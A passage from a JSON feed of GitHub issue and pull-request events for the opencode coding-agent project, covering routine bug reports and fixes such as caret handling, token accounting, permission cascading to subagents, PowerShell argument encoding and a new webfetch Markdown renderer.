(../tui/src/routes/session/index.tsx:1143:22) ``` ## Additional Context - The offending plugin was written to return a plain string **only because** importing `@opentui/*` in a TUI plugin dies with `OPENTUI_FORCE_WCWIDTH already registered with different configuration` — so on `next-17403` there is no working way to render styled TUI content from a plugin slot. - Crash is deterministic: every render of the slot once the plugin has data. Sidebar is unrecoverable while the plugin is active. - The session being viewed at crash time had 68 steps; the sidebar showed live usage stats (input/output/reasoning/cache/cost).",
          "url": "https://github.com/anomalyco/opencode/issues/42338",
          "createdAt": "2026-08-13T14:29:15Z",
          "updatedAt": "2026-08-13T14:31:49Z",
          "timestamp": "2026-08-13T14:31:49Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "2.0"
          ],
          "author": "mirtalha1",
          "state": "open",
          "assignees": [
            "kommander"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:25fe5a1767afd9800277",
        "signalId": "github:anomalyco/opencode:issue:37173",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:37173",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "No way to hide questions or read text",
          "text": "### Description When the agent asks questions, the modal pops up at the bottom. With the font large enough (I can't see anything) the modal blocks all or most of the text, making it impossible to read what the agent said before asking the questions. This makes it impossible to answer the questions because I have not been able to read what it said/did for context. Pressing escape cancels the questions entirely and closes the dialog. I am then able to read but I have then prompt it something like \"please ask your questions again\" which is embarrassing. This poor robot did all that work and I am asking it to repeat itself. Simply adding a toggle to show/hide the question modal would allow a user to read the text and then pop in to answer the questions. ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/37173",
          "createdAt": "2026-07-15T20:25:27Z",
          "updatedAt": "2026-08-13T14:30:09Z",
          "timestamp": "2026-08-13T14:30:09Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "thezachdrake",
          "state": "open",
          "assignees": [
            "simonklee"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:60390931b57206c44eef",
        "signalId": "github:anomalyco/opencode:issue:42335",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42335",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Caret jumps to end of prompt after inserting an @mention on the session page",
          "text": "### Description On the **session page** with the v2 prompt composer, typing an `@` mention mid-text and selecting a suggestion collapses the caret to the **end of the prompt** instead of keeping it right after the inserted mention. For example, with the prompt `please @src/index.ts fix the bug`, placing the caret after `please ` (offset 7), typing `@src`, and clicking the file suggestion places the caret at offset 21 (end) instead of after the mention (offset 21 is the end here because the mention is at the end; with trailing text like `please @src/index.ts fix it`, the caret lands at the very end instead of between the mention and `fix it`). ### Steps to reproduce 1. Open a session (the bug only reproduces on the session page, not the new-session draft page). 2. Type text in the prompt input, then position the caret in the middle of the text. 3. Type `@` + a few characters to open the file suggestion popover. 4. Click a suggestion. 5. The caret jumps to the end of the prompt instead of staying after the inserted mention. ### Root cause `renderPromptInputV2Editor` in `packages/session-ui/src/v2/components/prompt-input/index.tsx` rebuilds the editor DOM with `replaceChildren` when the prompt changes outside a local input, and the render effect does not restore the stored cursor position — it collapses the selection to the end. The draft (new-session) page is unaffected because the browser preserves the caret there, but the session page re-renders the editor and loses the position. ### Related - #37037 (caret jumps in prompt input) — related but describes a streaming-output scenario this report does not cover.",
          "url": "https://github.com/anomalyco/opencode/issues/42335",
          "createdAt": "2026-08-13T14:22:54Z",
          "updatedAt": "2026-08-13T14:23:48Z",
          "timestamp": "2026-08-13T14:23:48Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "gold-beyond",
          "state": "open",
          "assignees": [
            "Hona"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:ff3ef9c57211e782a5e3",
        "signalId": "github:anomalyco/opencode:pull_request:42297",
        "event": "changed",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [
          "text",
          "updatedAt",
          "labels"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42297",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(session-ui): preserve caret after prompt editor rebuild",
          "text": "### Issue for this PR Fixes #42335 Related to #37037 / #36210 (caret jumps around in the prompt input while the session updates). This PR fixes the variant I could reproduce and verify on the current v2 composer: inserting a @mention mid-text on the **session page** collapses the caret to the END of the prompt instead of keeping it right after the mention. I could not reproduce the streaming-output case from #37037 on current `dev`, so I only claim the mention-insertion scenario here. ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? `renderPromptInputV2Editor` rebuilds the editor DOM (`replaceChildren`) whenever the prompt store changes outside a local input (mention insertion, history navigation, followup edit). After the rebuild it always collapsed the caret to the end of the editor, ignoring the cursor position stored in the prompt store. Reproduced on the session page: after inserting `@src/index.ts` mid-text, the caret lands at offset 32 (end of a 32-char prompt) instead of 21 (right after the mention). Changes in `packages/session-ui/src/v2/components/prompt-input`: - `interaction.ts`: expose `cursor()` on the controller so the editor can read the authoritative stored caret position. - `index.tsx`: restore the caret from the stored cursor after a rebuild, falling back to the pre-rebuild DOM caret when no cursor is stored. Mentions are uneditable spans that still occupy their text length, so `setPromptInputV2Cursor` places the caret before/after a mention, never inside it. ### How did you verify your code works? - New e2e regression test `packages/app/e2e/regression/prompt-caret-after-mention.spec.ts`: types \"please fix the bug\", moves the caret to offset 7, inserts `@src/index.ts` mid-text on a session page, and asserts the caret lands at offset 21. It failed before the fix (caret at 32) and passes after. Run with: `bunx playwright test e2e/regression/prompt-caret-after-mention.spec.ts` - `bun run typecheck` in `packages/session-ui` passes. - `bun test src` in `packages/session-ui`: 83 tests pass. - Existing prompt e2e (`prompt-input-v2-command-draft`) still passes. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42297",
          "createdAt": "2026-08-13T10:00:07Z",
          "updatedAt": "2026-08-13T14:23:46Z",
          "timestamp": "2026-08-13T14:23:46Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "gold-beyond",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:18fa81591cbbe3a2fb86",
        "signalId": "github:anomalyco/opencode:pull_request:42326",
        "event": "changed",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [
          "text",
          "updatedAt",
          "labels"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42326",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): accumulate step tokens instead of overwriting",
          "text": "### Issue for this PR Closes #42324 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? In multi-step tool-call messages, `processor.ts` overwrites `assistantMessage.tokens` on every `step-finish` event, so only the last step's output, reasoning, and cache.write survive — while `cost` already accumulates with `+=`. This change accumulates the additive fields (output, reasoning, cache.write) across steps. `input` and `cache.read` keep the final step's values, because the final step's request already includes all prior steps and accumulating those would double-count. `total` keeps the final step's value as before. This fixes under-reported context metrics and delayed auto-compaction for multi-step messages. ### How did you verify your code works? - Added a two-step test in `packages/opencode/test/session/processor-effect.test.ts` with distinct per-step usage, asserting the accumulated message tokens. - `bun typecheck` passes. - `bun test --timeout 30000 test/session/processor-effect.test.ts` passes (one pre-existing failure unrelated to this change, reproducible on clean dev). - `bun test --timeout 30000 test/session/compaction.test.ts` passes. ### Screenshots / recordings _This is not a UI change._ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42326",
          "createdAt": "2026-08-13T13:19:04Z",
          "updatedAt": "2026-08-13T14:21:28Z",
          "timestamp": "2026-08-13T14:21:28Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "gold-beyond",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:3547fb0e11cef0e9fb77",
        "signalId": "github:anomalyco/opencode:issue:42334",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42334",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": ".18更新完毕后，使用中开始频繁将客户端弹出和前置窗口到顶部",
          "text": "[opencode-debug-20260813T141410.zip](https://github.com/user-attachments/files/31032414/opencode-debug-20260813T141410.zip)",
          "url": "https://github.com/anomalyco/opencode/issues/42334",
          "createdAt": "2026-08-13T14:17:19Z",
          "updatedAt": "2026-08-13T14:18:40Z",
          "timestamp": "2026-08-13T14:18:40Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "needs:compliance"
          ],
          "author": "KandaSora",
          "state": "open",
          "assignees": [
            "Hona"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:39d4ecbc4a7e94173337",
        "signalId": "github:anomalyco/opencode:pull_request:42331",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42331",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(app): enable directory auto-accept settings",
          "text": "### Issue for this PR Fixes #31137 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? V2 Settings already receives a session ID for active sessions, but draft and directory-backed new-session routes have no session ID even though the layout knows their active directory. That leaves the auto-accept switch disabled in those routes. This passes the active route directory into General Settings and uses the existing directory-scoped auto-accept API when there is no session ID. Existing session behavior is unchanged. Settings with no active directory remains disabled and sends no permission request. This does not add a global default or change auto-accept persistence or precedence. #39328 proposes that broader behavior separately. ### How did you verify your code works? - `PLAYWRIGHT_WORKERS=1 bun run test:e2e e2e/regression/remote-session-settings.spec.ts --grep \"draft settings use directory auto-accept|settings without active scope keep auto-accept disabled|session settings use the remote server context\"` — 3 passed - `bun run typecheck:e2e` — passed - `bun run build` — passed - Repository pre-push `bun typecheck` with Bun 1.3.14 — 30/30 packages passed The remote draft regression verifies the switch enables, toggles, and sends the permission request only to the correct server and directory. The no-active-scope regression verifies the switch remains disabled and sends no permission request. ### Screenshots / recordings No visual styling changes. The new Playwright coverage exercises the rendered Settings switch and its before/after enabled state; manual Chromium QA also covered 768×900 and 1280×720. **Before** <img width=\"1280\" height=\"720\" alt=\"draft-1280x720-before\" src=\"https://github.com/user-attachments/assets/24229894-e1b1-4914-9f0d-65ab20ef20db\" /> **After** <img width=\"1280\" height=\"720\" alt=\"draft-1280x720-after\" src=\"https://github.com/user-attachments/assets/efcff8c5-39b3-479c-b913-80b7c3cd292e\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42331",
          "createdAt": "2026-08-13T13:58:06Z",
          "updatedAt": "2026-08-13T14:18:20Z",
          "timestamp": "2026-08-13T14:18:20Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "michaelbuckner",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:19b7ee451826a5481da4",
        "signalId": "github:anomalyco/opencode:pull_request:42275",
        "event": "changed",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [
          "text",
          "updatedAt",
          "metrics"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42275",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): resolve child process exit signal on exit event",
          "text": "### Issue for this PR Fixes #41806 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? `ChildProcessHandle.exitCode` was settled from Node's `close` event, which waits for stdio to close after the direct child exits. A descendant that inherits one of those pipes can therefore keep the direct child's exit signal pending. This settles the signal from `exit` instead and retains `close` as a fallback. The change is intentionally limited to the handle lifecycle; callers that separately collect streams continue to wait for stream completion. ### How did you verify your code works? - `cd packages/core && bun test test/effect/cross-spawn-spawner.test.ts` — 25 pass, 0 fail - `cd packages/core && bun typecheck` The regression starts a parent that spawns a descendant with inherited stdout, records readiness, and exits. The descendant holds the pipe open until the test releases it, proving that `exitCode` settles from the direct child's exit rather than the later stream close. ### Screenshots / recordings N/A — no UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42275",
          "createdAt": "2026-08-13T08:11:26Z",
          "updatedAt": "2026-08-13T14:06:56Z",
          "timestamp": "2026-08-13T14:06:56Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:3a0d73132bc77bac1199",
        "signalId": "github:anomalyco/opencode:pull_request:42303",
        "event": "changed",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [
          "title",
          "text",
          "updatedAt"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42303",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): clarify possible tool argument truncation",
          "text": "### Issue for this PR Closes #42224 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Large tool arguments can end in an unterminated JSON string when generation stops before the model emits the closing syntax. The resulting parser error does not explain the likely cause or how to adjust the configured output limit. This PR makes that failure actionable without treating every unterminated string as proof of token-limit truncation. For an unterminated tool-call JSON parse, the invalid-tool result says the arguments may have been truncated, names the configured output token limit, points to `OPENCODE_EXPERIMENTAL_OUTPUT_TOKEN_MAX`, and preserves the original parser error. Other malformed tool inputs keep their original diagnostics. The internal `invalid` repair tool remains available to the AI SDK parser but is removed from the provider request, so the repaired diagnostic reaches the user without advertising an implementation-only tool to the model. A direct `finish_reason: \"length\"` also emits a structured warning with the session, message, model, and provider IDs. ### How did you verify your code works? - `cd packages/opencode && bun test test/session/llm.test.ts` — verifies the qualified truncation diagnostic, the unchanged non-truncation parse error, and that the internal repair tool is absent from the provider request - `cd packages/opencode && bun test test/session/processor-effect.test.ts` — verifies the processor path - `cd packages/opencode && bun typecheck` - Changed-file Prettier and `git diff --check` ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42303",
          "createdAt": "2026-08-13T10:27:16Z",
          "updatedAt": "2026-08-13T14:05:35Z",
          "timestamp": "2026-08-13T14:05:35Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:a10662a5b7cdd7b568fe",
        "signalId": "github:anomalyco/opencode:issue:42333",
        "event": "discovered",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42333",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Version version update miss?",
          "text": "### Description Updated to 1.18.8 this morning, `opencode --version` shows \"1.18.8\" Ran `opencode web` and in the web UI clicked on `Settings`. Just happened to notice it shows \"v1.18.17\" <img width=\"128\" height=\"61\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/9c5ebf6f-6199-4445-80ca-51f2d884b9b5\" /> ### Plugins _No response_ ### OpenCode version 1.18.18 ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42333",
          "createdAt": "2026-08-13T14:03:57Z",
          "updatedAt": "2026-08-13T14:05:17Z",
          "timestamp": "2026-08-13T14:05:17Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "c17r",
          "state": "open",
          "assignees": [
            "Brendonovich"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:f65afe5d37265f2cf680",
        "signalId": "github:anomalyco/opencode:pull_request:42310",
        "event": "changed",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [
          "text",
          "updatedAt"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42310",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): cascade auto permissions to subagent sessions",
          "text": "### Issue for this PR Fixes #41730 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? When `opencode run` spawns a subagent, permission requests belong to the child session. Filtering only for the root session leaves that subagent waiting forever. The run event loop now accepts permission requests from the attached root session and sessions whose `parentID` chain reaches that root. Proven descendants are cached. Requests from unrelated sessions in the same workspace remain untouched, so `--auto` cannot approve another concurrent session's request. ### How did you verify your code works? - `cd packages/opencode && bun test test/cli/run/run-process.test.ts` — 16 pass, 0 fail - `cd packages/opencode && bun test test/permission-task.test.ts` — 21 pass, 0 fail - `cd packages/opencode && bun typecheck` The subprocess matrix covers child auto-approval, child auto-rejection without `--auto`, and an attach-mode negative case proving an unrelated session's pending permission is not answered. ### Checklist - [x] I have read the contributing guide - [x] I have verified my code works on the target platform",
          "url": "https://github.com/anomalyco/opencode/pull/42310",
          "createdAt": "2026-08-13T12:00:20Z",
          "updatedAt": "2026-08-13T14:03:17Z",
          "timestamp": "2026-08-13T14:03:17Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:71eac4e91e896b280963",
        "signalId": "github:anomalyco/opencode:pull_request:42274",
        "event": "changed",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [
          "text",
          "updatedAt"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42274",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(shell): encode PowerShell commands to preserve multi-line output",
          "text": "### Issue for this PR Closes #41983 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? On Windows, a configured PowerShell `.cmd` or `.bat` wrapper passes through `cmd.exe`, which treats newlines in a `-Command` argument as command separators. Only the first line can reach PowerShell. This uses PowerShell's UTF-16LE `-EncodedCommand` form for wrapper scripts, while preserving `-Command` for direct `powershell.exe` and `pwsh.exe` executables. That keeps multiline wrapper commands intact without reducing the command-line budget for direct executables. ### How did you verify your code works? - `cd packages/opencode && bun test test/tool/shell.test.ts` — 24 pass, 0 fail - `cd packages/core && bun test test/shell.test.ts` — 7 pass, 0 fail - `cd packages/opencode && bun typecheck` - `cd packages/core && bun typecheck` Portable tests verify the exact argument form and UTF-16LE round trip. A Windows-only test creates a real `pwsh.cmd` wrapper and verifies all three lines of a multiline command reach PowerShell. ### Screenshots / recordings N/A — no UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42274",
          "createdAt": "2026-08-13T08:11:17Z",
          "updatedAt": "2026-08-13T14:02:08Z",
          "timestamp": "2026-08-13T14:02:08Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:0f26c12517313a2e771b",
        "signalId": "github:anomalyco/opencode:pull_request:42150",
        "event": "changed",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [
          "updatedAt"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42150",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): make text/reasoning delta accumulation O(N) instead of O(N²)",
          "text": "### Issue for this PR Fixes #30067 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Resubmission of #30058 by meitalbensinai (auto-closed for missing PR template; commit cherry-picked unchanged, authorship preserved). Replaces `text += delta` accumulation in the `reasoning-delta` and `text-delta` handlers of `session/processor.ts` with a lazy chunked-text getter. Once anything reads `.text` between writes (UI render loop, NDJSON serializer, bus event broadcaster), the runtime flattens the rope string and the next `+=` re-copies the whole buffer — O(N²) in cumulative part length. On thinking-mode models emitting 1500+ small reasoning tokens per turn, this grows per-step latency from ~6s to 100s+ by turn 50-80 (perf evidence in #30067: memmove at ~30% of CPU, GC pinned). Same shape as the fix that landed in vercel/ai for `processUIMessageStream`. The getter is non-enumerable, so it does not leak through JSON.stringify/structuredClone; `.text` reassignment still works via the setter. ### How did you verify your code works? - Cherry-picked the original commit onto current dev and resolved the conflict in the import region (dev had since dropped an unused `log` variable; the incoming function is the only addition). - Diff is one file, +48/-2; confirmed no `+=` accumulation remains in either handler and no orphaned references were introduced. - Ran a local harness (Bun 1.3.14) executing the exact `installChunkedText` implementation from this diff: - Functional: after 80k appended deltas, `.text` is byte-identical to naive `+=` accumulation; the getter caches the joined string after first read; the setter resets the buffer and subsequent pushes accumulate correctly; `_chunks` is absent from JSON.stringify and object spread (non-enumerable, no leakage). - Performance: with flatten-forcing reads (JSON.stringify every 100 deltas), the chunked path is ~2.9x faster at 80k deltas / 1.6MB accumulated text, and the naive path re-copies the whole buffer on every append once a read forces flatten, so the gap widens with length. - Did not build the app or run the full test suite; the harness exercises the changed mechanism in isolation, not the whole binary. ### Screenshots / recordings n/a ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42150",
          "createdAt": "2026-08-12T21:34:24Z",
          "updatedAt": "2026-08-13T14:02:08Z",
          "timestamp": "2026-08-13T14:02:08Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "hardes11",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:309ec52138d5c30bd07a",
        "signalId": "github:anomalyco/opencode:issue:42143",
        "event": "changed",
        "observedAt": "2026-08-13T16:19:22.035158Z",
        "changedFields": [
          "metrics"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42143",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Why does Opencode require me to subscribe when your official website states it's 100% free?",
          "url": "https://github.com/anomalyco/opencode/issues/42143",
          "createdAt": "2026-08-12T20:34:29Z",
          "updatedAt": "2026-08-13T11:39:46Z",
          "timestamp": "2026-08-13T11:39:46Z",
          "metrics": {
            "reactions": 26,
            "comments": 9
          },
          "labels": [],
          "author": "mahmoud-Web-Developer",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:8c49cff4c5b34faf24f0",
        "signalId": "github:anomalyco/opencode:pull_request:42229",
        "event": "changed",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [
          "text",
          "updatedAt"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42229",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(core): replace webfetch markdown renderer",
          "text": "## What Replace V2 Core webfetch's Turndown/Domino HTML-to-Markdown conversion with a purpose-built `htmlparser2` event renderer. The renderer preserves model-readable document structure without constructing a browser DOM and removes Core's `turndown`, `@mixmark-io/domino`, and `@types/turndown` closure. | Measurement | Before | After | Change | | --- | ---: | ---: | ---: | | 322 KB article throughput, median | 4.75 MiB/s | 19.28 MiB/s | 4.06x | | Conversion time, 1 warmup + 9 measured | 64.60 ms (62.51-76.02) | 15.92 ms (14.51-20.58) | -75.4% | | Isolated minified bundle | 311,557 B | 61,293 B | -250,264 B | | Isolated gzip bundle | 98,680 B | 26,922 B | -71,758 B | | macOS arm64 CLI executable | 87,338,978 B | 87,091,298 B | -247,680 B | | Installed Turndown + Domino closure | 9,028 KiB | 0 KiB in Core | -9,028 KiB | ## How - `packages/core/src/tool/html-markdown.ts` implements an iterative semantic frame renderer for headings, paragraphs, inline formatting, links/images, blockquotes, nested lists, definition lists, inline/fenced code, captions, and readable tables. - Tables are buffered and reconstructed after all rows are known, so captions are separate blocks, irregular/spanned tables use row-oriented fallback instead of malformed GFM, and byte accounting is refunded before replay. - Links containing block content are closed and resumed around each inline run rather than producing multiline invalid Markdown. - Active/fallback elements, `<head>`, `hidden`, `aria-hidden=\"true\"`, and closed `<details>` content are suppressed. `<br>` inside `<pre>` remains a line break. - Code fences choose backticks or tildes based on the longest embedded run and reserve closing syntax before writing bounded content. - Parser depth is enforced during the single chunked `htmlparser2` pass; malformed 5 MiB tag streams complete linearly without a regex prepass. - A UTF-8-aware content reserve keeps links, images, emphasis, inline code, tables, and quoted fenced code syntactically closed at the 5 MiB WebFetch ceiling. - `packages/core/test/tool-webfetch.test.ts` covers the public helper and tool path with malformed/deep input, Unicode/entities, hidden content, whitespace, code, links, nested lists/tables, captions, definition lists, details, and output-boundary regressions. /- Performance and corpus measurements were kept as local evaluation artifacts rather than committed production files. ## Scope - V2 only: Core and the V2 CLI artifact were changed/evaluated. - `packages/opencode` is untouched. - No public package or API was added; `WebFetchTool.convertHTMLToMarkdown` remains the public helper. - Base Turndown flattened table cells; the replacement intentionally emits readable GFM-style tables for rectangular tables and row-oriented text for spans. - Malformed overlapping inline/block tags may drop formatting delimiters while preserving visible text. - Documents deeper than 10,000 open tags fall back to deterministic visible-text extraction to protect memory. - Loose text directly inside malformed table structures may be omitted while the rows remain deterministic. - This repository does not use Changesets, so no changeset is included. ## Testing - `bun run test tool-webfetch.test.ts` from `packages/core`: 52 passed. - `bun typecheck` from `packages/core`: passed. - `bun typecheck` from `packages/cli`: passed. - Push hook `bun turbo typecheck`: 29/29 package tasks passed. - `MODELS_DEV_API_JSON=../core/test/plugin/fixtures/models-dev.json bun run build --single --skip-install` from `packages/cli`: passed. - `bunx prettier --check` on changed text files and `git diff --check`: passed. - Temporary real-site corpus: Wikipedia Markdown and Effect system pages, MDN table reference, Python asyncio docs, RFC 9110, and W3C forms tutorial. Snapshots were not committed. - Fresh output was parsed with `marked`: headings/lists/code/tables are recognized, and no raw HTML blocks were emitted for the five primary pages. - Adversarial fresh-process checks: - 5 MiB repeated malformed `<a` prefixes: 37-45 ms, about 60 MB peak RSS, empty output. - 5 MiB escapable prose: bounded to 5,242,878 B, about 98 MB peak RSS. - 5 MiB backtick-heavy `<pre>`: bounded to 5,242,877 B with a closed tilde fence, about 118 MB peak RSS. - 2,000 nested lists: about 12-23 ms and bounded output. - Full Core suite during initial evaluation: 1,032/1,033 passed. The unrelated macOS watcher test reports `.git/HEAD` as `add` instead of expected `change`; it reproduces in isolation. - No-commit differential QA covered 1,828 documents (600 generated valid, 1,200 seeded irregular, 28 targeted): zero exceptions, zero nondeterminism, no visible semantic differences across valid cases except intentional table preservation, all boundary outputs stayed within 5 MiB, and the current renderer was 5.29x faster by median.n- Multiple independent review rounds found and verified fixes for regex denial of service, output amplification, placeholder collisions, inline-code normalization, list state, depth fallback suppression, table replay accounting, caption/spanned-table output, hidden content, RFC definition lists, near-boundary closures, and quoted multiline fences.",
          "url": "https://github.com/anomalyco/opencode/pull/42229",
          "createdAt": "2026-08-13T02:52:47Z",
          "updatedAt": "2026-08-13T17:43:18Z",
          "timestamp": "2026-08-13T17:43:18Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:983c8db906dbf3bdc142",
        "signalId": "github:anomalyco/opencode:issue:42377",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42377",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "fix(tui): generalize contextual keybind precedence",
          "text": "## Problem Context-specific TUI actions can share a physical key with global or managed-textarea bindings. PR #42366 fixes the observed Shell-tab failure by giving the default `Ctrl+D` binding first refusal, but the mechanism is deliberately literal and local: ```ts if (event.name !== \"d\" || !event.ctrl) return if (!shortcuts.list(\"composer.shell.kill\").includes(\"ctrl+d\")) return ``` A user rebinding `composer.shell.kill` to another editor-owned key can recreate the same precedence bug. Other textarea-backed contextual surfaces may have the same class of issue but do not yet have collision tests. ## Investigation Confirmed during #42366: - The Shell tab displayed `kill ctrl+d` but no `DELETE /api/shell/:id` reached the server. - The existing server removal path correctly terminated the process group once invoked. - A raw key interceptor in the active Shell tab restored the live TUI behavior. Checked adjacent surfaces: - `composer.subagent.interrupt` with default `Ctrl+D` passes the current focused-textarea/global-exit harness, so it is not a confirmed sibling bug. - DialogSelect-based delete actions are modal and use `InputRenderable`, which the managed textarea layer excludes. - Mini-TUI queued-prompt and subagent actions already use elevated priority. Still needing 